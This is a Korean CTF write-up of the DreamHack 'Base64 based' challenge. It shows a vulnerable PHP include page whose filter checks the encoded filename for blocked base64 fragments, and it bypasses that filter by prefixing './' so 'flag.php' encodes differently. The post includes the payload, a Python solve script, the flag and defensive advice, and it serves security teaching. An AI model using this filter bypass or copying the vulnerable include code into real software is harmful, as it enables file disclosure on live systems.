[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด

2026-07-12ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด

ํŒŒ์ผ๋ช…์„ base64๋กœ ๋ฐ›์•„ includeํ•˜๋Š” PHP ์•ฑ์ธ๋ฐ, ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์— flagยทhpยท../์˜ base64 ์กฐ๊ฐ์ด ์žˆ์œผ๋ฉด ๋ง‰๋Š”๋‹ค. flag.php์˜ ์ •์งํ•œ base64๋Š” ๊ทธ ์กฐ๊ฐ์„ ๊ทธ๋Œ€๋กœ ํ’ˆ๋Š”๋‹ค. ์•ž์— ./๋ฅผ ๋ถ™์—ฌ 3๋ฐ”์ดํŠธ ๋ธ”๋ก ์ •๋ ฌ์„ ๋ฐ˜์นธ ๋ฐ€๋ฉด ์กฐ๊ฐ์ด ์ชผ๊ฐœ์ ธ ํ•„ํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ํ—›๋ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Base64 based ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 3 FLAG: DH{We1c0me_t0_Ba5e64:dvsTcZyRfbNUfdGHx1OySg==}

ํŒŒ์ผ๋ช…์„ base64๋กœ ๋ฐ›์•„ ๊ทธ ํŒŒ์ผ์„ includeํ•ด ๋ณด์—ฌ์ฃผ๋Š” PHP ์•ฑ์ด๋‹ค. flag.php๋ฅผ includeํ•˜๋ฉด ์„œ๋ฒ„์˜ /flag๋ฅผ ์ฝ์–ด ๋ฑ‰์ง€๋งŒ, ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์— flagยท.phpยท../์˜ base64 ํ”์ ์ด ๋ณด์ด๋ฉด ๋ง‰์•„๋ฒ„๋ฆฐ๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฑด ๋””์ฝ”๋“œ ๊ฒฐ๊ณผ๊ฐ€ ์•„๋‹ˆ๋ผ base64 ๋ฌธ์ž์—ด ๊ทธ ์ž์ฒด๋ผ๋Š” ์ ์„ ํŒŒ๊ณ ๋“ค์—ˆ๋‹ค.

File Content Viewer ๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” hello.php ๋กœ ๊ฐ€๋Š” ๋งํฌ ํ•˜๋‚˜๋ฟ์ธ ๋‹จ์ˆœํ•œ ํ™”๋ฉด์ด๊ณ , ์ฃผ์†Œ์ฐฝ์˜ file ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ base64 ๋กœ ์ธ์ฝ”๋”ฉ๋œ ํŒŒ์ผ๋ช…์„ ๋ฐ›๋Š”๋‹ค๋Š” ๊ฒƒ์ด ์ด ๋ฌธ์ œ์˜ ์œ ์ผํ•œ ์ž…๋ ฅ์ ์ด๋‹ค
File Content Viewer ๋ฉ”์ธ ํŽ˜์ด์ง€ โ€” hello.php ๋กœ ๊ฐ€๋Š” ๋งํฌ ํ•˜๋‚˜๋ฟ์ธ ๋‹จ์ˆœํ•œ ํ™”๋ฉด์ด๊ณ , ์ฃผ์†Œ์ฐฝ์˜ file ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ base64 ๋กœ ์ธ์ฝ”๋”ฉ๋œ ํŒŒ์ผ๋ช…์„ ๋ฐ›๋Š”๋‹ค๋Š” ๊ฒƒ์ด ์ด ๋ฌธ์ œ์˜ ์œ ์ผํ•œ ์ž…๋ ฅ์ ์ด๋‹ค

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Base64 based
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 3
๋ถ„๋ฅ˜Web (PHP 7.4 + Apache)
์ œ๊ณต ํŒŒ์ผ / ์„œ๋ฒ„index.php, flag.php, hello.php / http://host3.dreamhack.games:<port>/ (์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ๋ณ€๊ฒฝ)
ํ•ต์‹ฌ ์ทจ์•ฝ์  / ๊ธฐ๋ฒ•base64 ์ธ์ฝ”๋”ฉ LFI โ€” ๋ธ”๋ก ์ •๋ ฌ์„ ์–ด๊ธ‹๋‚ด ๋ฌธ์ž์—ด ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ

๋ชฉํ‘œ๋Š” flag.php๋ฅผ include์‹œํ‚ค๋Š” ๊ฒƒ์ด๋‹ค. flag.php๋Š” ์ƒ์ˆ˜ ALLOW_INCLUDE๊ฐ€ ์ •์˜๋ผ ์žˆ์œผ๋ฉด /flag๋ฅผ ์ฝ์–ด ์ถœ๋ ฅํ•˜๋Š”๋ฐ, index.php๊ฐ€ ๊ทธ ์ƒ์ˆ˜๋ฅผ ์ •์˜ํ•œ ์ฑ„ includeํ•˜๋‹ˆ ์กฐ๊ฑด์€ ์ €์ ˆ๋กœ ๋งž๋Š”๋‹ค. ๋ฌธ์ œ๋Š” ํŒŒ์ผ๋ช…์„ base64๋กœ ๋„˜๊ฒจ์•ผ ํ•˜๊ณ , ๊ทธ base64์— ๊ธˆ์ง€ ์กฐ๊ฐ์ด ๊ฑธ๋ฆฌ์ง€ ์•Š์•„์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ๋ฟ์ด๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” base64๋Š” 3๋ฐ”์ดํŠธ๋ฅผ 4๊ธ€์ž๋กœ ์ž๋ฅธ๋‹ค

base64๋Š” ์›๋ณธ ๋ฐ”์ดํŠธ๋ฅผ 3๊ฐœ์”ฉ ๋ฌถ์–ด ๊ฐ ๋ฌถ์Œ์„ 4๊ฐœ์˜ ์ถœ๋ ฅ ๋ฌธ์ž๋กœ ๋ฐ”๊พผ๋‹ค. 3๋ฐ”์ดํŠธ(24๋น„ํŠธ)๋ฅผ 6๋น„ํŠธ์”ฉ ๋„ท์œผ๋กœ ์ชผ๊ฐœ ๋ฌธ์žํ‘œ์— ๋งคํ•‘ํ•˜๋Š” ๋ฐฉ์‹์ด๋‹ค.

์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ ์„ฑ์งˆ ํ•˜๋‚˜. ๊ฐ™์€ ๊ธ€์ž๋ผ๋„ ์›๋ณธ์—์„œ ๋ช‡ ๋ฒˆ์งธ ๋ฐ”์ดํŠธ์— ๋†“์ด๋А๋ƒ(์ •๋ ฌ ์˜คํ”„์…‹)์— ๋”ฐ๋ผ ์ „ํ˜€ ๋‹ค๋ฅธ base64 ์กฐ๊ฐ์ด ๋œ๋‹ค. "flag"๊ฐ€ 3๋ฐ”์ดํŠธ ๋ฌถ์Œ์˜ ์‹œ์ž‘์— ์ •ํ™•ํžˆ ๊ฑธ๋ฆฌ๋ฉด ํ•ญ์ƒ Zmxh๋กœ ์‹œ์ž‘ํ•˜๋Š” ์ต์ˆ™ํ•œ ํŒจํ„ด์ด ๋‚˜์˜ค์ง€๋งŒ, ํ•œ ๋ฐ”์ดํŠธ ๋ฐ€๋ ค์„œ ๋ฌถ์ด๋ฉด ๊ทธ ํŒจํ„ด์ด ๊นจ์ง„๋‹ค.

PHP ์ชฝ ์žฅ์น˜๋„ ๋‹จ์ˆœํ•˜๋‹ค. require_once($file)์€ ์ง€์ •ํ•œ ๊ฒฝ๋กœ์˜ PHP ํŒŒ์ผ์„ ๊ทธ ์ž๋ฆฌ์—์„œ ์‹คํ–‰ํ•œ๋‹ค. ์‹คํ–‰ ์Šค์ฝ”ํ”„๊ฐ€ ํ˜ธ์ถœ๋ถ€์™€ ๊ฐ™์•„์„œ, index.php์—์„œ define('ALLOW_INCLUDE', true)๋กœ ์ •์˜ํ•œ ์ƒ์ˆ˜๋ฅผ include๋œ flag.php๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ณธ๋‹ค.

// flag.php
if (!defined('ALLOW_INCLUDE')) {
    http_response_code(403);
    exit('Direct access is not allowed.');
} else {
    $file = file_get_contents('/flag');
    echo trim($file);
}

flag.php๋ฅผ ์ง์ ‘ ์—ด๋ฉด 403์ด์ง€๋งŒ, index.php๋ฅผ ๊ฑฐ์ณ include๋˜๋ฉด ํ†ต๊ณผํ•ด flag๋ฅผ ๋ฑ‰๋Š”๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” index.php์˜ ํ•„ํ„ฐ

ํ•ต์‹ฌ์€ index.php ํ•œ ํŒŒ์ผ์ด๋‹ค. ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›๋Š” ๋ถ€๋ถ„์„ ๋ณด์ž.

define('ALLOW_INCLUDE', true);
 
if (isset($_GET['file'])) {
    $encodedFileName = $_GET['file'];
    if (stripos($encodedFileName, "Li4v") !== false){
        echo "<p class='error'>Error: Not allowed ../.</p>"; exit(0);
    }
    if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){
        echo "<p class='error'>Error: Not allowed flag.</p>"; exit(0);
    }
    $decodedFileName = base64_decode($encodedFileName);
    $filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;
 
    if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
        echo "<p>Including file: <strong>$decodedFileName</strong></p>";
        require_once($decodedFileName);
    } else {
        echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
    }
}

ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” ๋Œ€์ƒ์€ ๋””์ฝ”๋“œ ์ „ base64 ๋ฌธ์ž์—ด์ด๋‹ค. ์„ธ ์กฐ๊ฐ์„ ๋ง‰๋Š”๋‹ค.

๊ธˆ์ง€ ์กฐ๊ฐbase64๊ฐ€ ๋œปํ•˜๋Š” ๊ฒƒ๋ชฉ์ 
Li4v../๋””๋ ‰ํ† ๋ฆฌ ํƒˆ์ถœ ์ฐจ๋‹จ
ZmxhZflag (์˜ ์•ž๋ถ€๋ถ„)flag ๋ฌธ์ž์—ด ์ฐจ๋‹จ
aHA=hp.php์˜ ๋ ๋‘ ๊ธ€์ž ์ฐจ๋‹จ

ํ†ต๊ณผํ•˜๋ฉด base64_decode ํ›„ require_once($decodedFileName)๋กœ includeํ•œ๋‹ค. ์—ฌ๊ธฐ์„œ ๋ˆˆ์—ฌ๊ฒจ๋ณผ ์  ๋‘ ๊ฐœ.

require_once๊ฐ€ ๋ฐ›๋Š” ๊ฑด $filePath(์ ˆ๋Œ€๊ฒฝ๋กœ)๊ฐ€ ์•„๋‹ˆ๋ผ **๋””์ฝ”๋“œ๋œ ์ƒ๋Œ€๊ฒฝ๋กœ $decodedFileName**์ด๋‹ค. ์‹คํ–‰ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ /var/www/html(= __DIR__)์ด๋ฏ€๋กœ, ./flag.php ๊ฐ™์€ ์ƒ๋Œ€๊ฒฝ๋กœ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋จนํžŒ๋‹ค.

๊ฒฝ๋กœ ๊ฒ€์‚ฌ strpos(realpath($filePath), __DIR__) == 0์€ ๋А์Šจํ•œ ๋น„๊ต(==)๋‹ค. realpath๊ฐ€ /var/www/html/flag.php๋ฅผ ๋Œ๋ ค์ฃผ๋ฉด strpos๋Š” 0์„ ๋ฐ˜ํ™˜ํ•˜๊ณ  0 == 0์ด๋ผ ํ†ต๊ณผํ•œ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์›น ๋ฃจํŠธ ์•ˆ์˜ ํŒŒ์ผ๋งŒ ๋…ธ๋ฆฌ๋ฉด ๊ฑธ๋ฆด ์ผ์ด ์—†๋‹ค.

์ •๋ฆฌํ•˜๋ฉด, ๋…ธ๋ฆด ํŒŒ์ผ์€ flag.php, ๋„˜๊ธธ ๋ฐฉ๋ฒ•์€ base64, ์œ ์ผํ•œ ์žฅ์• ๋ฌผ์€ flagยทhpยท../์˜ base64 ์กฐ๊ฐ์„ ๋ฌธ์ž์—ด์— ๋‚จ๊ธฐ์ง€ ์•Š๋Š” ๊ฒƒ์ด๋‹ค.


๐Ÿ› ์‚ฝ์งˆ โ€” flag.php๋ฅผ ์ •์งํ•˜๊ฒŒ ์ธ์ฝ”๋”ฉํ•˜๋ฉด ๋‹ค ๊ฑธ๋ฆฐ๋‹ค

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” base64('flag.php')๊ฐ€ ๊ธˆ์ง€ ์กฐ๊ฐ ๋‘ ๊ฐœ๋ฅผ ํ•œ๊บผ๋ฒˆ์— ํ’ˆ๋Š”๋‹ค

๊ฐ€์žฅ ๋จผ์ € ๋– ์˜ค๋ฅด๋Š” ๊ฑด flag.php๋ฅผ ๊ทธ๋Œ€๋กœ base64 ํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๊ฒฐ๊ณผ๋Š” ZmxhZy5waHA=.

  • ZmxhZ(flag) ํฌํ•จ โ†’ flag ํ•„ํ„ฐ ๊ฑธ๋ฆผ
  • aHA=(hp) ํฌํ•จ โ†’ flag ํ•„ํ„ฐ ๊ฑธ๋ฆผ

ํ•œ ๋ฌธ์ž์—ด์ด ๊ธˆ์ง€ ์กฐ๊ฐ ๋‘ ๊ฐœ๋ฅผ ๋™์‹œ์— ํ’ˆ๋Š”๋‹ค. ์„œ๋ฒ„๋„ ๋ฐ”๋กœ ๋ง‰๋Š”๋‹ค.

base64("flag.php") = ZmxhZy5waHA= โ†’ Error: Not allowed flag.
base64("flag.php") = ZmxhZy5waHA= โ†’ Error: Not allowed flag.

๋””๋ ‰ํ† ๋ฆฌ ํƒˆ์ถœ๋กœ ์šฐํšŒํ• ๊นŒ ์‹ถ์–ด ../flag.php(Li4vZmxhZy5waHA=)๋„ ๋˜์ ธ๋ดค์ง€๋งŒ, ์ด๋ฒˆ์—” ๋งจ ์•ž Li4v(../)๊ฐ€ ๋จผ์ € ๊ฑธ๋ฆฐ๋‹ค.

base64("../flag.php") ๋ฅผ file ์— ๋„ฃ์€ ๊ฒฐ๊ณผ โ€” ์ธ์ฝ”๋”ฉ ๋ฌธ์ž์—ด์— Li4v ๊ฐ€ ๋“ค์–ด ์žˆ์–ด ์„œ๋ฒ„๊ฐ€ Error: Not allowed ../ ๋ฅผ ๋Œ๋ ค์ค€๋‹ค. ๋””์ฝ”๋“œ ๊ฒฐ๊ณผ๊ฐ€ ์•„๋‹ˆ๋ผ base64 ๋ฌธ์ž์—ด ์ž์ฒด๋ฅผ ๊ฒ€์‚ฌํ•œ๋‹ค๋Š” ์ฆ๊ฑฐ๋‹ค
base64("../flag.php") ๋ฅผ file ์— ๋„ฃ์€ ๊ฒฐ๊ณผ โ€” ์ธ์ฝ”๋”ฉ ๋ฌธ์ž์—ด์— Li4v ๊ฐ€ ๋“ค์–ด ์žˆ์–ด ์„œ๋ฒ„๊ฐ€ Error: Not allowed ../ ๋ฅผ ๋Œ๋ ค์ค€๋‹ค. ๋””์ฝ”๋“œ ๊ฒฐ๊ณผ๊ฐ€ ์•„๋‹ˆ๋ผ base64 ๋ฌธ์ž์—ด ์ž์ฒด๋ฅผ ๊ฒ€์‚ฌํ•œ๋‹ค๋Š” ์ฆ๊ฑฐ๋‹ค

flag.php๋ผ๋Š” ๊ธ€์ž ์ž์ฒด๋Š” ํ•„์š”ํ•˜๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋‚จ์€ ๊ฑด ๊ธ€์ž๋Š” ๊ทธ๋Œ€๋กœ ๋‘๋˜ base64 ํ‘œํ˜„๋งŒ ๋ฐ”๊พธ๋Š” ๊ฒƒ๋ฟ์ด๋‹ค.

flag๊ฐ€ 3๋ฐ”์ดํŠธ ๋ฌถ์Œ์˜ ์‹œ์ž‘์— ๋”ฑ ๊ฑธ๋ฆฌ๋Š” ํ•œ ZmxhZ๋Š” ๊ณ„์† ๋‚˜์˜จ๋‹ค. ๋ฌถ์Œ ๊ฒฝ๊ณ„๋ฅผ ๋ฐ€์–ด๋ฒ„๋ฆฌ๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ โ€” ๊ทธ๊ฒŒ ๋ŒํŒŒ๊ตฌ์˜€๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ๋ธ”๋ก ์ •๋ ฌ์„ ๋ฐ˜์นธ ๋ฐ€๊ธฐ

ํŒŒ์ผ๋ช… ์•ž์— ์•„๋ฌด ์˜๋ฏธ ์—†๋Š” ./๋ฅผ ๋ถ™์ธ๋‹ค. ./flag.php๋Š” ์—ฌ์ „ํžˆ ๊ฐ™์€ ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ค์ง€๋งŒ(ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ = ์›น ๋ฃจํŠธ), ์•ž์— 2๋ฐ”์ดํŠธ๊ฐ€ ๋ผ๋ฉด์„œ ๋’ค๋”ฐ๋ฅด๋Š” ๋ชจ๋“  ๊ธ€์ž์˜ 3๋ฐ”์ดํŠธ ๋ฌถ์Œ ์ •๋ ฌ์ด ๋ฐ€๋ฆฐ๋‹ค.

base64 3๋ฐ”์ดํŠธ ๋ธ”๋ก ์ •๋ ฌ ์‹œํ”„ํŠธ โ€” flag๊ฐ€ f | lag ๋กœ ์ชผ๊ฐœ์ ธ ๊ธˆ์ง€ ์กฐ๊ฐ์ด ์‚ฌ๋ผ์ง„๋‹ค
base64 3๋ฐ”์ดํŠธ ๋ธ”๋ก ์ •๋ ฌ ์‹œํ”„ํŠธ โ€” flag๊ฐ€ f | lag ๋กœ ์ชผ๊ฐœ์ ธ ๊ธˆ์ง€ ์กฐ๊ฐ์ด ์‚ฌ๋ผ์ง„๋‹ค

./flag.php๋ฅผ base64 ํ•˜๋ฉด Li9mbGFnLnBocA==์ด๋‹ค. ์ •๋ ฌ์ด ๋ฐ€๋ฆฐ ๊ฒฐ๊ณผ ์ด๋ ‡๊ฒŒ ๋ฐ”๋€๋‹ค.

  • flag๊ฐ€ f | lag๋กœ ๋‘ ๋ฌถ์Œ์— ์ชผ๊ฐœ์ ธ โ†’ ZmxhZ๊ฐ€ ์•„์˜ˆ ์•ˆ ์ƒ๊ธด๋‹ค
  • .php๊ฐ€ .ph | p๋กœ ์ชผ๊ฐœ์ ธ โ†’ .php๋Š” LnBocA==๊ฐ€ ๋˜๊ณ  aHA=๋„ ์•ˆ ์ƒ๊ธด๋‹ค
  • ๋งจ ์•ž์€ Li9m(./f) โ†’ ../์˜ Li4v์™€ ๋‹ค๋ฅด๋‹ค

์„ธ ํ•„ํ„ฐ๋ฅผ ์ „๋ถ€ ๋นˆ์†์œผ๋กœ ์ง€๋‚˜๊ฐ„๋‹ค. ๋””์ฝ”๋“œํ•˜๋ฉด ./flag.php, require_once("./flag.php")๊ฐ€ ์›น ๋ฃจํŠธ์˜ flag.php๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

๊ฐ™์€ ์›๋ฆฌ๋กœ hello.php(aGVsbG8ucGhw)๋ฅผ ๋„ฃ์–ด ๋ณด๋ฉด include๊ฐ€ ์‹ค์ œ๋กœ PHP๋ฅผ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฑธ ๋จผ์ € ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. .php๊ฐ€ o.p|hp ๋ฌถ์Œ์œผ๋กœ ํฉ์–ด์ ธ aHA=๊ฐ€ ์—†์–ด ์ด๊ฑด ํ•„ํ„ฐ๋„ ์•ˆ ๊ฑธ๋ฆฐ๋‹ค.

hello.php include โ€” "This is Base64 world" ์ถœ๋ ฅ, include๊ฐ€ PHP๋ฅผ ์‹คํ–‰ํ•จ์„ ํ™•์ธ
hello.php include โ€” "This is Base64 world" ์ถœ๋ ฅ, include๊ฐ€ PHP๋ฅผ ์‹คํ–‰ํ•จ์„ ํ™•์ธ


๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡

์ตœ์ข… payload๋Š” ํ•œ ์ค„์ด๋‹ค.

GET /?file=Li9mbGFnLnBocA==

Li9mbGFnLnBocA==๋Š” ./flag.php์˜ base64์ด๊ณ , ์„ธ ํ•„ํ„ฐ๋ฅผ ๋ชจ๋‘ ํšŒํ”ผํ•œ๋‹ค. ๋””์ฝ”๋“œ โ†’ require_once("./flag.php") โ†’ flag.php๊ฐ€ /flag๋ฅผ ์ฝ์–ด ์ถœ๋ ฅํ•œ๋‹ค.

?file=Li9mbGFnLnBocA== ๋กœ ์š”์ฒญํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด โ€” ./flag.php ๊ฐ€ include ๋˜์–ด ALLOW_INCLUDE ์กฐ๊ฑด์„ ํ†ต๊ณผํ•˜๊ณ  ์„œ๋ฒ„์˜ /flag ๋‚ด์šฉ์ด ๊ทธ๋Œ€๋กœ ํŽ˜์ด์ง€์— ์ถœ๋ ฅ๋๋‹ค
?file=Li9mbGFnLnBocA== ๋กœ ์š”์ฒญํ•œ ๋ธŒ๋ผ์šฐ์ € ํ™”๋ฉด โ€” ./flag.php ๊ฐ€ include ๋˜์–ด ALLOW_INCLUDE ์กฐ๊ฑด์„ ํ†ต๊ณผํ•˜๊ณ  ์„œ๋ฒ„์˜ /flag ๋‚ด์šฉ์ด ๊ทธ๋Œ€๋กœ ํŽ˜์ด์ง€์— ์ถœ๋ ฅ๋๋‹ค

๐Ÿš€ Full Exploit

ํŒŒ์ผ๋ช… ์•ž์— ./๋ฅผ ๋ถ™์—ฌ base64 ํ•˜๊ณ , ๊ธˆ์ง€ ์กฐ๊ฐ์ด ์—†๋Š”์ง€ ์ž๊ฐ€๊ฒ€์ฆํ•œ ๋’ค ์š”์ฒญํ•œ๋‹ค.

import base64, re, requests
 
BASE = "http://host3.dreamhack.games:<port>"
 
payload_name = "./flag.php"
enc = base64.b64encode(payload_name.encode()).decode()   # Li9mbGFnLnBocA==
 
# ํ•„ํ„ฐ ์ž๊ฐ€๊ฒ€์ฆ: Li4v(../) ยท ZmxhZ(flag) ยท aHA=(hp) ํšŒํ”ผ ํ™•์ธ
for bad, meaning in [("Li4v", "../"), ("ZmxhZ", "flag"), ("aHA=", "hp/.php")]:
    assert bad not in enc, f"์ฐจ๋‹จ๋ฌธ์ž์—ด {bad}({meaning}) ํฌํ•จ!"
print(f"[*] ํŒŒ์ผ๋ช… : {payload_name}")
print(f"[*] base64 : {enc}   (Li4v/ZmxhZ/aHA= ์ „๋ถ€ ํšŒํ”ผ)")
 
r = requests.get(BASE + "/", params={"file": enc}, timeout=10)
m = re.search(r"DH\{[^}]+\}", r.text)
print(f"[*] ์š”์ฒญ   : {BASE}/?file={enc}")
print(f"[+] FLAG   : {m.group(0) if m else '(๋ชป ์ฐพ์Œ)'}")

์‹คํ–‰ํ•˜๋ฉด payload๊ฐ€ ์„ธ ์กฐ๊ฐ์„ ํ”ผํ•œ๋‹ค๋Š” ์ž๊ฐ€๊ฒ€์ฆ๊ณผ ํ•จ๊ป˜ flag๊ฐ€ ๊ทธ๋Œ€๋กœ ์ฐํžŒ๋‹ค. ์ด ๋ฌธ์ œ์˜ flag ๋Š” ์•ž๋ถ€๋ถ„(We1c0me_t0_Ba5e64:)๋งŒ ๊ณ ์ •์ด๊ณ  ๋’ท๋ถ€๋ถ„์€ ์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ์ƒˆ๋กœ ์ƒ์„ฑ๋˜๋ฏ€๋กœ, ์•„๋ž˜ ๊ฐ’๊ณผ ์—ฌ๋Ÿฌ๋ถ„์ด ๋ฐ›๋Š” ๊ฐ’์€ ๋‹ค๋ฅด๋‹ค.

solve.py ์‹คํ–‰ โ€” ํŒŒ์ผ๋ช… ./flag.php ๋ฅผ base64 ๋กœ ์ธ์ฝ”๋”ฉํ•œ Li9mbGFnLnBocA== ๊ฐ€ Li4vยทZmxhZยทaHA= ์„ธ ์ฐจ๋‹จ ๋ฌธ์ž์—ด์„ ๋ชจ๋‘ ํ”ผํ•œ๋‹ค๋Š” ์ž๊ฐ€๊ฒ€์ฆ์„ ๊ฑฐ์นœ ๋’ค, ๊ทธ ๊ฐ’์„ file ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋ณด๋‚ด ์‘๋‹ต์—์„œ flag ๋ฅผ ๋ฝ‘์•„ ๋งˆ์ง€๋ง‰ ์ค„์— ์ถœ๋ ฅํ•œ๋‹ค
solve.py ์‹คํ–‰ โ€” ํŒŒ์ผ๋ช… ./flag.php ๋ฅผ base64 ๋กœ ์ธ์ฝ”๋”ฉํ•œ Li9mbGFnLnBocA== ๊ฐ€ Li4vยทZmxhZยทaHA= ์„ธ ์ฐจ๋‹จ ๋ฌธ์ž์—ด์„ ๋ชจ๋‘ ํ”ผํ•œ๋‹ค๋Š” ์ž๊ฐ€๊ฒ€์ฆ์„ ๊ฑฐ์นœ ๋’ค, ๊ทธ ๊ฐ’์„ file ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋ณด๋‚ด ์‘๋‹ต์—์„œ flag ๋ฅผ ๋ฝ‘์•„ ๋งˆ์ง€๋ง‰ ์ค„์— ์ถœ๋ ฅํ•œ๋‹ค
[+] FLAG   : DH{We1c0me_t0_Ba5e64:dvsTcZyRfbNUfdGHx1OySg==}


๐Ÿ“ ๊ฒฐ๋ก 

์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์„ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋กœ ๋ง‰์œผ๋ฉด ์ธ์ฝ”๋”ฉ์˜ ์„ฑ์งˆ์— ๊ทธ๋Œ€๋กœ ๋ฐœ๋ชฉ ์žกํžŒ๋‹ค.

์ด ํ•„ํ„ฐ๋Š” base64 ๋ฌธ์ž์—ด์—์„œ flagยทhpยท../์˜ "ํ”ํ•œ ํ‘œํ˜„"๋งŒ ์ฐพ์•˜๋‹ค. ํ•˜์ง€๋งŒ base64๋Š” ๊ฐ™์€ ๊ธ€์ž๋ฅผ ์ •๋ ฌ ์˜คํ”„์…‹์— ๋”ฐ๋ผ ์—ฌ๋Ÿฌ ํ‘œํ˜„์œผ๋กœ ๋งŒ๋“ ๋‹ค. flag๋Š” ZmxhZ์ผ ์ˆ˜๋„, ์•ž์— ํ•œ๋‘ ๋ฐ”์ดํŠธ๊ฐ€ ๋ผ๋ฉด bGFn์œผ๋กœ๋„ ๋‚˜์˜จ๋‹ค. ๊ฑธ๋Ÿฌ์•ผ ํ•  ๋Œ€์ƒ์€ ๊ฒฐ๊ตญ ๋””์ฝ”๋“œ ๊ฒฐ๊ณผ์ธ๋ฐ ๊ทธ ์ „ ๋‹จ๊ณ„๋ฅผ ๊ฒ€์‚ฌํ–ˆ์œผ๋‹ˆ, ํ‘œํ˜„ ํ•˜๋‚˜๋งŒ ์•Œ์•„๋„ ๋‚˜๋จธ์ง€๋Š” ์–ผ๋งˆ๋“ ์ง€ ์žˆ๋‹ค.

๊ฒ€์ฆ์€ ์ •๊ทœํ™”ํ•œ ๋‹ค์Œ, ์ตœ์ข…์ ์œผ๋กœ ์“ฐ์ด๋Š” ๊ฐ’ ๊ธฐ์ค€์œผ๋กœ ํ•ด์•ผ ํ•œ๋‹ค.

์—ฌ๊ธฐ์„œ ์˜ณ์€ ์ˆœ์„œ๋Š” base64๋ฅผ ๋จผ์ € ๋””์ฝ”๋“œํ•˜๊ณ , realpath๋กœ ๊ฒฝ๋กœ๋ฅผ ์ •๊ทœํ™”ํ•œ ๋’ค, ๊ทธ ๊ฒฐ๊ณผ๊ฐ€ ํ—ˆ์šฉ๋œ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ(์˜ˆ: ํŠน์ • ๋””๋ ‰ํ† ๋ฆฌ์˜ ํŠน์ • ํ™•์žฅ์ž)์— ๋“œ๋Š”์ง€ ๋ณด๋Š” ๊ฒƒ์ด์—ˆ๋‹ค. ๋””์ฝ”๋“œ ์ „ ๋ฌธ์ž์—ด์„ ํ›‘๋Š” ๊ฒ€์‚ฌ๋Š” ์šฐํšŒ ํ‘œํ˜„์˜ ์ˆ˜๋งŒํผ ๊ตฌ๋ฉ์ด ๋‚œ๋‹ค.

LFI๋Š” include ๋Œ€์ƒ์„ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋กœ ๊ณ ์ •ํ•˜๋Š” ๊ฒŒ ์ •์„์ด๋‹ค.

